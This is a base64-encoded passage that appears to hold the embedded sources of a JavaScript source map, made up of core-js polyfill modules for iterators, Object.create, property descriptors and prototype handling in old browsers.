TWV0aG9kID0gZnVuY3Rpb24gKGtpbmQpIHtcbiAgICBpZiAoIUJVR0dZICYmIGtpbmQgaW4gcHJvdG8pIHJldHVybiBwcm90b1traW5kXTtcbiAgICBzd2l0Y2ggKGtpbmQpIHtcbiAgICAgIGNhc2UgS0VZUzogcmV0dXJuIGZ1bmN0aW9uIGtleXMoKSB7IHJldHVybiBuZXcgQ29uc3RydWN0b3IodGhpcywga2luZCk7IH07XG4gICAgICBjYXNlIFZBTFVFUzogcmV0dXJuIGZ1bmN0aW9uIHZhbHVlcygpIHsgcmV0dXJuIG5ldyBDb25zdHJ1Y3Rvcih0aGlzLCBraW5kKTsgfTtcbiAgICB9IHJldHVybiBmdW5jdGlvbiBlbnRyaWVzKCkgeyByZXR1cm4gbmV3IENvbnN0cnVjdG9yKHRoaXMsIGtpbmQpOyB9O1xuICB9O1xuICB2YXIgVEFHID0gTkFNRSArICcgSXRlcmF0b3InO1xuICB2YXIgREVGX1ZBTFVFUyA9IERFRkFVTFQgPT0gVkFMVUVTO1xuICB2YXIgVkFMVUVTX0JVRyA9IGZhbHNlO1xuICB2YXIgcHJvdG8gPSBCYXNlLnByb3RvdHlwZTtcbiAgdmFyICRuYXRpdmUgPSBwcm90b1tJVEVSQVRPUl0gfHwgcHJvdG9bRkZfSVRFUkFUT1JdIHx8IERFRkFVTFQgJiYgcHJvdG9bREVGQVVMVF07XG4gIHZhciAkZGVmYXVsdCA9ICRuYXRpdmUgfHwgZ2V0TWV0aG9kKERFRkFVTFQpO1xuICB2YXIgJGVudHJpZXMgPSBERUZBVUxUID8gIURFRl9WQUxVRVMgPyAkZGVmYXVsdCA6IGdldE1ldGhvZCgnZW50cmllcycpIDogdW5kZWZpbmVkO1xuICB2YXIgJGFueU5hdGl2ZSA9IE5BTUUgPT0gJ0FycmF5JyA/IHByb3RvLmVudHJpZXMgfHwgJG5hdGl2ZSA6ICRuYXRpdmU7XG4gIHZhciBtZXRob2RzLCBrZXksIEl0ZXJhdG9yUHJvdG90eXBlO1xuICAvLyBGaXggbmF0aXZlXG4gIGlmICgkYW55TmF0aXZlKSB7XG4gICAgSXRlcmF0b3JQcm90b3R5cGUgPSBnZXRQcm90b3R5cGVPZigkYW55TmF0aXZlLmNhbGwobmV3IEJhc2UoKSkpO1xuICAgIGlmIChJdGVyYXRvclByb3RvdHlwZSAhPT0gT2JqZWN0LnByb3RvdHlwZSAmJiBJdGVyYXRvclByb3RvdHlwZS5uZXh0KSB7XG4gICAgICAvLyBTZXQgQEB0b1N0cmluZ1RhZyB0byBuYXRpdmUgaXRlcmF0b3JzXG4gICAgICBzZXRUb1N0cmluZ1RhZyhJdGVyYXRvclByb3RvdHlwZSwgVEFHLCB0cnVlKTtcbiAgICAgIC8vIGZpeCBmb3Igc29tZSBvbGQgZW5naW5lc1xuICAgICAgaWYgKCFMSUJSQVJZICYmIHR5cGVvZiBJdGVyYXRvclByb3RvdHlwZVtJVEVSQVRPUl0gIT0gJ2Z1bmN0aW9uJykgaGlkZShJdGVyYXRvclByb3RvdHlwZSwgSVRFUkFUT1IsIHJldHVyblRoaXMpO1xuICAgIH1cbiAgfVxuICAvLyBmaXggQXJyYXkje3ZhbHVlcywgQEBpdGVyYXRvcn0ubmFtZSBpbiBWOCAvIEZGXG4gIGlmIChERUZfVkFMVUVTICYmICRuYXRpdmUgJiYgJG5hdGl2ZS5uYW1lICE9PSBWQUxVRVMpIHtcbiAgICBWQUxVRVNfQlVHID0gdHJ1ZTtcbiAgICAkZGVmYXVsdCA9IGZ1bmN0aW9uIHZhbHVlcygpIHsgcmV0dXJuICRuYXRpdmUuY2FsbCh0aGlzKTsgfTtcbiAgfVxuICAvLyBEZWZpbmUgaXRlcmF0b3JcbiAgaWYgKCghTElCUkFSWSB8fCBGT1JDRUQpICYmIChCVUdHWSB8fCBWQUxVRVNfQlVHIHx8ICFwcm90b1tJVEVSQVRPUl0pKSB7XG4gICAgaGlkZShwcm90bywgSVRFUkFUT1IsICRkZWZhdWx0KTtcbiAgfVxuICAvLyBQbHVnIGZvciBsaWJyYXJ5XG4gIEl0ZXJhdG9yc1tOQU1FXSA9ICRkZWZhdWx0O1xuICBJdGVyYXRvcnNbVEFHXSA9IHJldHVyblRoaXM7XG4gIGlmIChERUZBVUxUKSB7XG4gICAgbWV0aG9kcyA9IHtcbiAgICAgIHZhbHVlczogREVGX1ZBTFVFUyA/ICRkZWZhdWx0IDogZ2V0TWV0aG9kKFZBTFVFUyksXG4gICAgICBrZXlzOiBJU19TRVQgPyAkZGVmYXVsdCA6IGdldE1ldGhvZChLRVlTKSxcbiAgICAgIGVudHJpZXM6ICRlbnRyaWVzXG4gICAgfTtcbiAgICBpZiAoRk9SQ0VEKSBmb3IgKGtleSBpbiBtZXRob2RzKSB7XG4gICAgICBpZiAoIShrZXkgaW4gcHJvdG8pKSByZWRlZmluZShwcm90bywga2V5LCBtZXRob2RzW2tleV0pO1xuICAgIH0gZWxzZSAkZXhwb3J0KCRleHBvcnQuUCArICRleHBvcnQuRiAqIChCVUdHWSB8fCBWQUxVRVNfQlVHKSwgTkFNRSwgbWV0aG9kcyk7XG4gIH1cbiAgcmV0dXJuIG1ldGhvZHM7XG59O1xuIiwidmFyIElURVJBVE9SID0gcmVxdWlyZSgnLi9fd2tzJykoJ2l0ZXJhdG9yJyk7XG52YXIgU0FGRV9DTE9TSU5HID0gZmFsc2U7XG5cbnRyeSB7XG4gIHZhciByaXRlciA9IFs3XVtJVEVSQVRPUl0oKTtcbiAgcml0ZXJbJ3JldHVybiddID0gZnVuY3Rpb24gKCkgeyBTQUZFX0NMT1NJTkcgPSB0cnVlOyB9O1xuICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgbm8tdGhyb3ctbGl0ZXJhbFxuICBBcnJheS5mcm9tKHJpdGVyLCBmdW5jdGlvbiAoKSB7IHRocm93IDI7IH0pO1xufSBjYXRjaCAoZSkgeyAvKiBlbXB0eSAqLyB9XG5cbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKGV4ZWMsIHNraXBDbG9zaW5nKSB7XG4gIGlmICghc2tpcENsb3NpbmcgJiYgIVNBRkVfQ0xPU0lORykgcmV0dXJuIGZhbHNlO1xuICB2YXIgc2FmZSA9IGZhbHNlO1xuICB0cnkge1xuICAgIHZhciBhcnIgPSBbN107XG4gICAgdmFyIGl0ZXIgPSBhcnJbSVRFUkFUT1JdKCk7XG4gICAgaXRlci5uZXh0ID0gZnVuY3Rpb24gKCkgeyByZXR1cm4geyBkb25lOiBzYWZlID0gdHJ1ZSB9OyB9O1xuICAgIGFycltJVEVSQVRPUl0gPSBmdW5jdGlvbiAoKSB7IHJldHVybiBpdGVyOyB9O1xuICAgIGV4ZWMoYXJyKTtcbiAgfSBjYXRjaCAoZSkgeyAvKiBlbXB0eSAqLyB9XG4gIHJldHVybiBzYWZlO1xufTtcbiIsIm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKGRvbmUsIHZhbHVlKSB7XG4gIHJldHVybiB7IHZhbHVlOiB2YWx1ZSwgZG9uZTogISFkb25lIH07XG59O1xuIiwibW9kdWxlLmV4cG9ydHMgPSB7fTtcbiIsIm1vZHVsZS5leHBvcnRzID0gdHJ1ZTtcbiIsInZhciBNRVRBID0gcmVxdWlyZSgnLi9fdWlkJykoJ21ldGEnKTtcbnZhciBpc09iamVjdCA9IHJlcXVpcmUoJy4vX2lzLW9iamVjdCcpO1xudmFyIGhhcyA9IHJlcXVpcmUoJy4vX2hhcycpO1xudmFyIHNldERlc2MgPSByZXF1aXJlKCcuL19vYmplY3QtZHAnKS5mO1xudmFyIGlkID0gMDtcbnZhciBpc0V4dGVuc2libGUgPSBPYmplY3QuaXNFeHRlbnNpYmxlIHx8IGZ1bmN0aW9uICgpIHtcbiAgcmV0dXJuIHRydWU7XG59O1xudmFyIEZSRUVaRSA9ICFyZXF1aXJlKCcuL19mYWlscycpKGZ1bmN0aW9uICgpIHtcbiAgcmV0dXJuIGlzRXh0ZW5zaWJsZShPYmplY3QucHJldmVudEV4dGVuc2lvbnMoe30pKTtcbn0pO1xudmFyIHNldE1ldGEgPSBmdW5jdGlvbiAoaXQpIHtcbiAgc2V0RGVzYyhpdCwgTUVUQSwgeyB2YWx1ZToge1xuICAgIGk6ICdPJyArICsraWQsIC8vIG9iamVjdCBJRFxuICAgIHc6IHt9ICAgICAgICAgIC8vIHdlYWsgY29sbGVjdGlvbnMgSURzXG4gIH0gfSk7XG59O1xudmFyIGZhc3RLZXkgPSBmdW5jdGlvbiAoaXQsIGNyZWF0ZSkge1xuICAvLyByZXR1cm4gcHJpbWl0aXZlIHdpdGggcHJlZml4XG4gIGlmICghaXNPYmplY3QoaXQpKSByZXR1cm4gdHlwZW9mIGl0ID09ICdzeW1ib2wnID8gaXQgOiAodHlwZW9mIGl0ID09ICdzdHJpbmcnID8gJ1MnIDogJ1AnKSArIGl0O1xuICBpZiAoIWhhcyhpdCwgTUVUQSkpIHtcbiAgICAvLyBjYW4ndCBzZXQgbWV0YWRhdGEgdG8gdW5jYXVnaHQgZnJvemVuIG9iamVjdFxuICAgIGlmICghaXNFeHRlbnNpYmxlKGl0KSkgcmV0dXJuICdGJztcbiAgICAvLyBub3QgbmVjZXNzYXJ5IHRvIGFkZCBtZXRhZGF0YVxuICAgIGlmICghY3JlYXRlKSByZXR1cm4gJ0UnO1xuICAgIC8vIGFkZCBtaXNzaW5nIG1ldGFkYXRhXG4gICAgc2V0TWV0YShpdCk7XG4gIC8vIHJldHVybiBvYmplY3QgSURcbiAgfSByZXR1cm4gaXRbTUVUQV0uaTtcbn07XG52YXIgZ2V0V2VhayA9IGZ1bmN0aW9uIChpdCwgY3JlYXRlKSB7XG4gIGlmICghaGFzKGl0LCBNRVRBKSkge1xuICAgIC8vIGNhbid0IHNldCBtZXRhZGF0YSB0byB1bmNhdWdodCBmcm96ZW4gb2JqZWN0XG4gICAgaWYgKCFpc0V4dGVuc2libGUoaXQpKSByZXR1cm4gdHJ1ZTtcbiAgICAvLyBub3QgbmVjZXNzYXJ5IHRvIGFkZCBtZXRhZGF0YVxuICAgIGlmICghY3JlYXRlKSByZXR1cm4gZmFsc2U7XG4gICAgLy8gYWRkIG1pc3NpbmcgbWV0YWRhdGFcbiAgICBzZXRNZXRhKGl0KTtcbiAgLy8gcmV0dXJuIGhhc2ggd2VhayBjb2xsZWN0aW9ucyBJRHNcbiAgfSByZXR1cm4gaXRbTUVUQV0udztcbn07XG4vLyBhZGQgbWV0YWRhdGEgb24gZnJlZXplLWZhbWlseSBtZXRob2RzIGNhbGxpbmdcbnZhciBvbkZyZWV6ZSA9IGZ1bmN0aW9uIChpdCkge1xuICBpZiAoRlJFRVpFICYmIG1ldGEuTkVFRCAmJiBpc0V4dGVuc2libGUoaXQpICYmICFoYXMoaXQsIE1FVEEpKSBzZXRNZXRhKGl0KTtcbiAgcmV0dXJuIGl0O1xufTtcbnZhciBtZXRhID0gbW9kdWxlLmV4cG9ydHMgPSB7XG4gIEtFWTogTUVUQSxcbiAgTkVFRDogZmFsc2UsXG4gIGZhc3RLZXk6IGZhc3RLZXksXG4gIGdldFdlYWs6IGdldFdlYWssXG4gIG9uRnJlZXplOiBvbkZyZWV6ZVxufTtcbiIsIi8vIDE5LjEuMi4yIC8gMTUuMi4zLjUgT2JqZWN0LmNyZWF0ZShPIFssIFByb3BlcnRpZXNdKVxudmFyIGFuT2JqZWN0ID0gcmVxdWlyZSgnLi9fYW4tb2JqZWN0Jyk7XG52YXIgZFBzID0gcmVxdWlyZSgnLi9fb2JqZWN0LWRwcycpO1xudmFyIGVudW1CdWdLZXlzID0gcmVxdWlyZSgnLi9fZW51bS1idWcta2V5cycpO1xudmFyIElFX1BST1RPID0gcmVxdWlyZSgnLi9fc2hhcmVkLWtleScpKCdJRV9QUk9UTycpO1xudmFyIEVtcHR5ID0gZnVuY3Rpb24gKCkgeyAvKiBlbXB0eSAqLyB9O1xudmFyIFBST1RPVFlQRSA9ICdwcm90b3R5cGUnO1xuXG4vLyBDcmVhdGUgb2JqZWN0IHdpdGggZmFrZSBgbnVsbGAgcHJvdG90eXBlOiB1c2UgaWZyYW1lIE9iamVjdCB3aXRoIGNsZWFyZWQgcHJvdG90eXBlXG52YXIgY3JlYXRlRGljdCA9IGZ1bmN0aW9uICgpIHtcbiAgLy8gVGhyYXNoLCB3YXN0ZSBhbmQgc29kb215OiBJRSBHQyBidWdcbiAgdmFyIGlmcmFtZSA9IHJlcXVpcmUoJy4vX2RvbS1jcmVhdGUnKSgnaWZyYW1lJyk7XG4gIHZhciBpID0gZW51bUJ1Z0tleXMubGVuZ3RoO1xuICB2YXIgbHQgPSAnPCc7XG4gIHZhciBndCA9ICc+JztcbiAgdmFyIGlmcmFtZURvY3VtZW50O1xuICBpZnJhbWUuc3R5bGUuZGlzcGxheSA9ICdub25lJztcbiAgcmVxdWlyZSgnLi9faHRtbCcpLmFwcGVuZENoaWxkKGlmcmFtZSk7XG4gIGlmcmFtZS5zcmMgPSAnamF2YXNjcmlwdDonOyAvLyBlc2xpbnQtZGlzYWJsZS1saW5lIG5vLXNjcmlwdC11cmxcbiAgLy8gY3JlYXRlRGljdCA9IGlmcmFtZS5jb250ZW50V2luZG93Lk9iamVjdDtcbiAgLy8gaHRtbC5yZW1vdmVDaGlsZChpZnJhbWUpO1xuICBpZnJhbWVEb2N1bWVudCA9IGlmcmFtZS5jb250ZW50V2luZG93LmRvY3VtZW50O1xuICBpZnJhbWVEb2N1bWVudC5vcGVuKCk7XG4gIGlmcmFtZURvY3VtZW50LndyaXRlKGx0ICsgJ3NjcmlwdCcgKyBndCArICdkb2N1bWVudC5GPU9iamVjdCcgKyBsdCArICcvc2NyaXB0JyArIGd0KTtcbiAgaWZyYW1lRG9jdW1lbnQuY2xvc2UoKTtcbiAgY3JlYXRlRGljdCA9IGlmcmFtZURvY3VtZW50LkY7XG4gIHdoaWxlIChpLS0pIGRlbGV0ZSBjcmVhdGVEaWN0W1BST1RPVFlQRV1bZW51bUJ1Z0tleXNbaV1dO1xuICByZXR1cm4gY3JlYXRlRGljdCgpO1xufTtcblxubW9kdWxlLmV4cG9ydHMgPSBPYmplY3QuY3JlYXRlIHx8IGZ1bmN0aW9uIGNyZWF0ZShPLCBQcm9wZXJ0aWVzKSB7XG4gIHZhciByZXN1bHQ7XG4gIGlmIChPICE9PSBudWxsKSB7XG4gICAgRW1wdHlbUFJPVE9UWVBFXSA9IGFuT2JqZWN0KE8pO1xuICAgIHJlc3VsdCA9IG5ldyBFbXB0eSgpO1xuICAgIEVtcHR5W1BST1RPVFlQRV0gPSBudWxsO1xuICAgIC8vIGFkZCBcIl9fcHJvdG9fX1wiIGZvciBPYmplY3QuZ2V0UHJvdG90eXBlT2YgcG9seWZpbGxcbiAgICByZXN1bHRbSUVfUFJPVE9dID0gTztcbiAgfSBlbHNlIHJlc3VsdCA9IGNyZWF0ZURpY3QoKTtcbiAgcmV0dXJuIFByb3BlcnRpZXMgPT09IHVuZGVmaW5lZCA/IHJlc3VsdCA6IGRQcyhyZXN1bHQsIFByb3BlcnRpZXMpO1xufTtcbiIsInZhciBhbk9iamVjdCA9IHJlcXVpcmUoJy4vX2FuLW9iamVjdCcpO1xudmFyIElFOF9ET01fREVGSU5FID0gcmVxdWlyZSgnLi9faWU4LWRvbS1kZWZpbmUnKTtcbnZhciB0b1ByaW1pdGl2ZSA9IHJlcXVpcmUoJy4vX3RvLXByaW1pdGl2ZScpO1xudmFyIGRQID0gT2JqZWN0LmRlZmluZVByb3BlcnR5O1xuXG5leHBvcnRzLmYgPSByZXF1aXJlKCcuL19kZXNjcmlwdG9ycycpID8gT2JqZWN0LmRlZmluZVByb3BlcnR5IDogZnVuY3Rpb24gZGVmaW5lUHJvcGVydHkoTywgUCwgQXR0cmlidXRlcykge1xuICBhbk9iamVjdChPKTtcbiAgUCA9IHRvUHJpbWl0aXZlKFAsIHRydWUpO1xuICBhbk9iamVjdChBdHRyaWJ1dGVzKTtcbiAgaWYgKElFOF9ET01fREVGSU5FKSB0cnkge1xuICAgIHJldHVybiBkUChPLCBQLCBBdHRyaWJ1dGVzKTtcbiAgfSBjYXRjaCAoZSkgeyAvKiBlbXB0eSAqLyB9XG4gIGlmICgnZ2V0JyBpbiBBdHRyaWJ1dGVzIHx8ICdzZXQnIGluIEF0dHJpYnV0ZXMpIHRocm93IFR5cGVFcnJvcignQWNjZXNzb3JzIG5vdCBzdXBwb3J0ZWQhJyk7XG4gIGlmICgndmFsdWUnIGluIEF0dHJpYnV0ZXMpIE9bUF0gPSBBdHRyaWJ1dGVzLnZhbHVlO1xuICByZXR1cm4gTztcbn07XG4iLCJ2YXIgZFAgPSByZXF1aXJlKCcuL19vYmplY3QtZHAnKTtcbnZhciBhbk9iamVjdCA9IHJlcXVpcmUoJy4vX2FuLW9iamVjdCcpO1xudmFyIGdldEtleXMgPSByZXF1aXJlKCcuL19vYmplY3Qta2V5cycpO1xuXG5tb2R1bGUuZXhwb3J0cyA9IHJlcXVpcmUoJy4vX2Rlc2NyaXB0b3JzJykgPyBPYmplY3QuZGVmaW5lUHJvcGVydGllcyA6IGZ1bmN0aW9uIGRlZmluZVByb3BlcnRpZXMoTywgUHJvcGVydGllcykge1xuICBhbk9iamVjdChPKTtcbiAgdmFyIGtleXMgPSBnZXRLZXlzKFByb3BlcnRpZXMpO1xuICB2YXIgbGVuZ3RoID0ga2V5cy5sZW5ndGg7XG4gIHZhciBpID0gMDtcbiAgdmFyIFA7XG4gIHdoaWxlIChsZW5ndGggPiBpKSBkUC5mKE8sIFAgPSBrZXlzW2krK10sIFByb3BlcnRpZXNbUF0pO1xuICByZXR1cm4gTztcbn07XG4iLCJ2YXIgcElFID0gcmVxdWlyZSgnLi9fb2JqZWN0LXBpZScpO1xudmFyIGNyZWF0ZURlc2MgPSByZXF1aXJlKCcuL19wcm9wZXJ0eS1kZXNjJyk7XG52YXIgdG9JT2JqZWN0ID0gcmVxdWlyZSgnLi9fdG8taW9iamVjdCcpO1xudmFyIHRvUHJpbWl0aXZlID0gcmVxdWlyZSgnLi9fdG8tcHJpbWl0aXZlJyk7XG52YXIgaGFzID0gcmVxdWlyZSgnLi9faGFzJyk7XG52YXIgSUU4X0RPTV9ERUZJTkUgPSByZXF1aXJlKCcuL19pZTgtZG9tLWRlZmluZScpO1xudmFyIGdPUEQgPSBPYmplY3QuZ2V0T3duUHJvcGVydHlEZXNjcmlwdG9yO1xuXG5leHBvcnRzLmYgPSByZXF1aXJlKCcuL19kZXNjcmlwdG9ycycpID8gZ09QRCA6IGZ1bmN0aW9uIGdldE93blByb3BlcnR5RGVzY3JpcHRvcihPLCBQKSB7XG4gIE8gPSB0b0lPYmplY3QoTyk7XG4gIFAgPSB0b1ByaW1pdGl2ZShQLCB0cnVlKTtcbiAgaWYgKElFOF9ET01fREVGSU5FKSB0cnkge1xuICAgIHJldHVybiBnT1BEKE8sIFApO1xuICB9IGNhdGNoIChlKSB7IC8qIGVtcHR5ICovIH1cbiAgaWYgKGhhcyhPLCBQKSkgcmV0dXJuIGNyZWF0ZURlc2MoIXBJRS5mLmNhbGwoTywgUCksIE9bUF0pO1xufTtcbiIsIi8vIGZhbGxiYWNrIGZvciBJRTExIGJ1Z2d5IE9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzIHdpdGggaWZyYW1lIGFuZCB3aW5kb3dcbnZhciB0b0lPYmplY3QgPSByZXF1aXJlKCcuL190by1pb2JqZWN0Jyk7XG52YXIgZ09QTiA9IHJlcXVpcmUoJy4vX29iamVjdC1nb3BuJykuZjtcbnZhciB0b1N0cmluZyA9IHt9LnRvU3RyaW5nO1xuXG52YXIgd2luZG93TmFtZXMgPSB0eXBlb2Ygd2luZG93ID09ICdvYmplY3QnICYmIHdpbmRvdyAmJiBPYmplY3QuZ2V0T3duUHJvcGVydHlOYW1lc1xuICA/IE9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKHdpbmRvdykgOiBbXTtcblxudmFyIGdldFdpbmRvd05hbWVzID0gZnVuY3Rpb24gKGl0KSB7XG4gIHRyeSB7XG4gICAgcmV0dXJuIGdPUE4oaXQpO1xuICB9IGNhdGNoIChlKSB7XG4gICAgcmV0dXJuIHdpbmRvd05hbWVzLnNsaWNlKCk7XG4gIH1cbn07XG5cbm1vZHVsZS5leHBvcnRzLmYgPSBmdW5jdGlvbiBnZXRPd25Qcm9wZXJ0eU5hbWVzKGl0KSB7XG4gIHJldHVybiB3aW5kb3dOYW1lcyAmJiB0b1N0cmluZy5jYWxsKGl0KSA9PSAnW29iamVjdCBXaW5kb3ddJyA/IGdldFdpbmRvd05hbWVzKGl0KSA6IGdPUE4odG9JT2JqZWN0KGl0KSk7XG59O1xuIiwiLy8gMTkuMS4yLjcgLyAxNS4yLjMuNCBPYmplY3QuZ2V0T3duUHJvcGVydHlOYW1lcyhPKVxudmFyICRrZXlzID0gcmVxdWlyZSgnLi9fb2JqZWN0LWtleXMtaW50ZXJuYWwnKTtcbnZhciBoaWRkZW5LZXlzID0gcmVxdWlyZSgnLi9fZW51bS1idWcta2V5cycpLmNvbmNhdCgnbGVuZ3RoJywgJ3Byb3RvdHlwZScpO1xuXG5leHBvcnRzLmYgPSBPYmplY3QuZ2V0T3duUHJvcGVydHlOYW1lcyB8fCBmdW5jdGlvbiBnZXRPd25Qcm9wZXJ0eU5hbWVzKE8pIHtcbiAgcmV0dXJuICRrZXlzKE8sIGhpZGRlbktleXMpO1xufTtcbiIsImV4cG9ydHMuZiA9IE9iamVjdC5nZXRPd25Qcm9wZXJ0eVN5bWJvbHM7XG4iLCIvLyAxOS4xLjIuOSAvIDE1LjIuMy4yIE9iamVjdC5nZXRQcm90b3R5cGVPZihPKVxudmFyIGhhcyA9IHJlcXVpcmUoJy4vX2hhcycpO1xudmFyIHRvT2JqZWN0ID0gcmVxdWlyZSgnLi9fdG8tb2JqZWN0Jyk7XG52YXIgSUVfUFJPVE8gPSByZXF1aXJlKCcuL19zaGFyZWQta2V5JykoJ0lFX1BST1RPJyk7XG52YXIgT2JqZWN0UHJvdG8gPSBPYmplY3QucHJvdG90eXBlO1xuXG5tb2R1bGUuZXhwb3J0cyA9IE9iamVjdC5nZXRQcm90b3R5cGVPZiB8fCBmdW5jdGlvbiAoTykge1xuICBPID0gdG9PYmplY3QoTyk7XG4gIGlmIChoYXMoTywgSUVfUFJPVE8pKSByZXR1cm4gT1tJRV9QUk9UT107XG4gIGlmICh0eXBlb2YgTy5jb25zdHJ1Y3RvciA9PSAnZnVuY3Rpb24nICYmIE8gaW5zdGFuY2VvZiBPLmNvbnN0cnVjdG9yKSB7XG4gICAgcmV0dXJuIE8uY29uc3RydWN0b3IucHJvdG90eXBlO1xuICB9IHJldHVybiBPIGluc3RhbmNlb2YgT2JqZWN0ID8gT2JqZWN0UHJvdG8gOiBudWxsO1xufTtcbiIsInZhciBoYXMgPSByZXF1aXJlKCcuL19oYXMnKTtcbnZhciB0b0lPYmplY3QgPSByZXF1aXJlKCcuL190by1pb2JqZWN0Jyk7XG52YXIgYXJyYXlJbmRleE9mID0gcmVxdWlyZSgnLi9fYXJyYXktaW5jbHVkZXMnKShmYWxzZSk7XG52YXIgSUVfUFJPVE8gPSByZXF1aXJlKCcuL19zaGFyZWQta2V5JykoJ0lFX1BST1RPJyk7XG5cbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKG9iamVjdCwgbmFtZXMpIHtcbiAgdmFyIE8gPSB0b0lPYmplY3Qob2JqZWN0KTtcbiAgdmFyIGkgPSAwO1xuICB2YXIgcmVzdWx0ID0gW107XG4gIHZhciBrZXk7XG4gIGZvciAoa2V5IGluIE8pIGlmIChrZXkgIT0gSUVfUFJPVE8pIGhhcyhPLCBrZXkpICYmIHJlc3VsdC5wdXNoKGtleSk7XG4gIC8vIERvbid0IGVudW0gYnVnICYgaGlkZGVuIGtleXNcbiAgd2hpbGUgKG5hbWVzLmxlbmd0aCA+IGkpIGlmIChoYXMoTywga2V5ID0gbmFtZXNbaSsrXSkpIHtcbiAgICB+YXJyYXlJbmRleE9mKHJlc3VsdCwga2V5KSB8fCByZXN1bHQucHVzaChrZXkpO1xuICB9XG4gIHJldHVybiByZXN1bHQ7XG59O1xuIiwiLy8gMTkuMS4yLjE0IC8gMTUuMi4zLjE0IE9iamVjdC5rZXlzKE8pXG52YXIgJGtleXMgPSByZXF1aXJlKCcuL19vYmplY3Qta2V5cy1pbnRlcm5hbCcpO1xudmFyIGVudW1CdWdLZXlzID0gcmVxdWlyZSgnLi9fZW51bS1idWcta2V5cycpO1xuXG5tb2R1bGUuZXhwb3J0cyA9IE9iamVjdC5rZXlzIHx8IGZ1bmN0aW9uIGtleXMoTykge1xuICByZXR1cm4gJGtleXMoTywgZW51bUJ1Z0tleXMpO1xufTtcbiIsImV4cG9ydHMuZiA9IHt9LnByb3BlcnR5SXNFbnVtZXJhYmxlO1xuIiwiLy8gbW9zdCBPYmplY3QgbWV0aG9kcyBieSBFUzYgc2hvdWxkIGFjY2VwdCBwcmltaXRpdmVzXG52YXIgJGV4cG9ydCA9IHJlcXVpcmUoJy4vX2V4cG9ydCcpO1xudmFyIGNvcmUgPSByZXF1aXJlKCcuL19jb3JlJyk7XG52YXIgZmFpbHMgPSByZXF1aXJlKCcuL19mYWlscycpO1xubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAoS0VZLCBleGVjKSB7XG4gIHZhciBmbiA9IChjb3JlLk9iamVjdCB8fCB7fSlbS0VZXSB8fCBPYmplY3RbS0VZXTtcbiAgdmFyIGV4cCA9IHt9O1xuICBleHBbS0VZXSA9IGV4ZWMoZm4pO1xuICAkZXhwb3J0KCRleHBvcnQuUyArICRleHBvcnQuRiAqIGZhaWxzKGZ1bmN0aW9uICgpIHsgZm4oMSk7IH0pLCAnT2JqZWN0JywgZXhwKTtcbn07XG4iLCJtb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChiaXRtYXAsIHZhbHVlKSB7XG4gIHJldHVybiB7XG4gICAgZW51bWVyYWJsZTogIShiaXRtYXAgJiAxKSxcbiAgICBjb25maWd1cmFibGU6ICEoYml0bWFwICYgMiksXG4gICAgd3JpdGFibGU6ICEoYml0bWFwICYgNCksXG4gICAgdmFsdWU6IHZhbHVlXG4gIH07XG59O1xuIiwibW9kdWxlLmV4cG9ydHMgPSByZXF1aXJlKCcuL19oaWRlJyk7XG4iLCIvLyBXb3JrcyB3aXRoIF9fcHJvdG9fXyBvbmx5LiBPbGQgdjggY2FuJ3Qgd29yayB3aXRoIG51bGwgcHJvdG8gb2JqZWN0cy5cbi8qIGVzbGludC1kaXNhYmxlIG5vLXByb3RvICovXG52YXIgaXNPYmplY3QgPSByZXF1aXJlKCcuL19pcy1vYmplY3QnKTtcbnZhciBhbk9iamVjdCA9IHJlcXVpcmUoJy4vX2FuLW9iamVjdCcpO1xudmFyIGNoZWNrID0gZnVuY3Rpb24gKE8sIHByb3RvKSB7XG4gIGFuT2JqZWN0KE8pO1xuICBpZiAoIWlzT2JqZWN0KHByb3RvKSAmJiBwcm90byAhPT0gbnVsbCkgdGhyb3cgVHlwZUVycm9yKHByb3RvICsgXCI6IGNhbid0IHNldCBhcyBwcm90b3R5cGUhXCIpO1xufTtcbm1vZHVsZS5leHBvcnRzID0ge1xuICBzZXQ6IE9iamVjdC5zZXRQcm90b3R5cGVPZiB8fCAoJ19fcHJvdG9fXycgaW4ge30gPyAvLyBlc2xpbnQtZGlzYWJsZS1saW5lXG4gICAgZnVuY3Rpb24gKHRlc3QsIGJ1Z2d5LCBzZXQpIHtcbiAgICAgIHRyeSB7XG4gICAgICAgIHNldCA9IHJlcXVpcmUoJy4vX2N0eCcpKEZ1bmN0aW9uLmNhbGwsIHJlcXVpcmUoJy4vX29iamVjdC1nb3BkJykuZihPYmplY3QucHJvdG90eXBlLCAnX19wcm90b19fJykuc2V0LCAyKTtcbiAgICAgICAgc2V0KHRlc3QsIFtdKTtcbiAgICAgICAgYnVnZ3kgPSAhKHRlc3QgaW5zdGFuY2VvZiBBcnJheSk7XG4gICAgICB9IGNhdGNoIChlKSB7IGJ1Z2d5ID0gdHJ1ZTsgfVxuICAgICAgcmV0dXJuIGZ1bmN0aW9uIHNldFByb3RvdHlwZU9mKE8sIHByb3RvKSB7XG4gICAgICAgIGNoZWNrKE8sIHByb3RvKTtcbiAgICAgICAgaWYgKGJ1Z2d5KSBPLl9fcHJvdG9fXyA9IHByb3RvO1xuICAgICAgICBlbHNlIHNldChPLCBwcm90byk7XG4gICAgICAgIHJldHVybiBPO1xuICAgICAgfTtcbiAgICB9KHt9LCBmYWxzZSkgOiB1bmRlZmluZWQpLFxuICBjaGVjazogY2hlY2tcbn07XG4iLCJ2YXIgZGVmID0gcmVxdWlyZSgnLi9fb2JqZWN0LWRwJykuZjtcbnZhciBoYXMgPSByZXF1aXJlKCcuL19oYXMnKTtcbnZhciBUQUcgPSByZXF1aXJlKCcuL193a3MnKSgndG9TdHJpbmdUYWcnKTtcblxubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAoaXQsIHRhZywgc3RhdCkge1xuICBpZiAoaXQgJiYgIWhhcyhpdCA9IHN0YXQgPyBpdCA6IGl0LnByb3RvdHlwZSwgVEFHKSkgZGVmKGl0LCBUQUcsIHsgY29uZmlndXJhYmxlOiB0cnVlLCB2YWx1ZTogdGFnIH0pO1xufTtcbiIsInZhciBzaGFyZWQgPSByZXF1aXJlKCcuL19zaGFyZWQnKSgna2V5cycpO1xudmFyIHVpZCA9IHJlcXVpcmUoJy4vX3VpZCcpO1xubW9kdWxlLmV4cG9